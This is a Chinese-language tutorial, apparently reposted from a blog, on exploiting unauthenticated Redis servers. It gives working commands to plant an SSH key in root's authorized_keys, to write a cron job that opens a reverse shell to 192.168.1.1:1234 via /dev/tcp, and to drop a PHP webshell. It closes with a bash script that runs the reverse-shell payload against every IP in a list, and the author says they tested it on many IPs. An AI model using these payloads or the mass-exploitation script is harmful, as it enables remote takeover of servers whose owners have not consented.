Redis未授權訪問復現+批量自動getshell腳本


Redis未授權訪問+批量自動getshell腳本

漏洞產生條件

 

  • redis綁定在 0.0.0.0:6379,且沒有對登錄IP做限制,直接暴露在公網。
  • 沒有設置密碼(默認為空)。

 

漏洞危害

 

  • 攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意執行flushall來清空所有數據;
  • 攻擊者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入后門文件;
  • 最嚴重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器。

 

漏洞復現

 

下載安裝:

 

https://redis.io/download

 

分別為穩定版和不穩定版本。

 

 

 

 

解壓安裝

 

tar -zxvf redis-6.0.8.tar.gz # 解壓 gcc -v # 依賴於gcc apt install gcc cd redis-6.0.8 make # 編譯安裝 # 開始編譯了幾次都不成功,后面升級了gcc版本就一步到位了。

 

 

安裝完畢后彈出結果不一樣也無所有,只要redis-service, redis-cli文件存在即可。

 

cd src  
cp redis-server /usr/bin/  
cp redis-cli /usr/bin/
cd … 
cp redis.conf /etc/ 
redis-server /etc/redis.conf  # 使用/etc/目錄下的redis.conf文件中的配置啟動redis服務

 

 

 

 

驗證漏洞

 

 

 

如果沒有redis-客戶端環境也可下載可視化客戶端進行連接。連接密碼為空,不過工具有點問題,時常連不上。

 

 https://github.com/caoxinyu/RedisClient/releases/tag/2.0.0

 

 

 

GetShell

 

一: 公私鑰認證獲取root權限

 

  1. ssh免密配置

 

前提是受害者的機器上存在 /root/.ssh/ 目錄。

 

  1. 攻擊者生成ssh公私密鑰

 

ssh-keygen -t rsa  
# 一直回車即可

 

 

  1. 在攻擊者機器上將密鑰寫入受害者機器

 

cd .ssh/ 
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redistest.txt 
#將生成的公鑰保存到redistest.txt
cat redistest.txt | redis-cli -h 受害者ip -x set redistest 
#將保存ssh公鑰的redistext.txt寫入redis

 

 

5.登錄受害者IP查看

 

redis-cli -h 受害ip
config get dir
config set dir /root/.ssh
config set dbfilename authorized_keys
save

 

 

  1. 進行ssh登錄嘗試

 

ssh -i id_rsa root@ip  -p 22 
# 需要root

 

 

二: 計划任務反彈shell

 

  • 條件: redis以root身份運行

 

  1. 在服務器用nc監聽

 

nc -lvvp 1234

 

 

2 .連接redis后寫入shell

 

redis-cli -h 192.168.246.130
config set dir /var/spool/cron
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\n"
config set dbfilename root
save

 

 

三:絕對路徑寫webshell

 

  • 條件: 知道網站絕對路徑

 

config set dir /home/wwwroot/default/
config set dbfilename redis.php
set shell "<?php phpinfo(); ?>"
save

 

 

Shell腳本批量反彈

 

  • 條件: 客戶端上裝了redis-cli

 

#!/bin/bash
getshell(){
echo "-----分割線-----"
redis-cli -h $i  2>&1 <<eeooff
config get dir
config set dir /var/spool/cron
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/1234 0>&1\n"  
config set dbfilename root
save
exit
eeooff
echo done!
}

ip=$IFSa
if [ $# -ne 1 ];then
       echo "Usage $0 filename"
       exit
fi
if [ ! -f $1 ];then
        echo " $1 is not a file"
        exit
fi
if [ -f log.txt ];then
        echo "log.txt existing"
        `rm -f log.txt`
fi
IFS=$'\n'
for i in `cat $1`
        do
                echo $i

                getshell >>log.txt
                #sleep 3s  

                echo $i >> log.txt
        done
 
             

運行完后會生成一個log.txt文件。

 

未開放端口

 

 

不存在/var/spool/cron目錄

 

 

 

save失敗,一般是沒權限

 

 

 

 

像這種的就是成功了

 

 

 

手工測試了好多ip,雖然存在未授權訪問漏洞的有很多。但是能利用的很少,出現最多的就是權限不足。和目錄不存在,只要有權限save就可以考慮別的方法getshell。

如果哪里有錯誤請指出改正

 

 

 

 

 

 

 

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM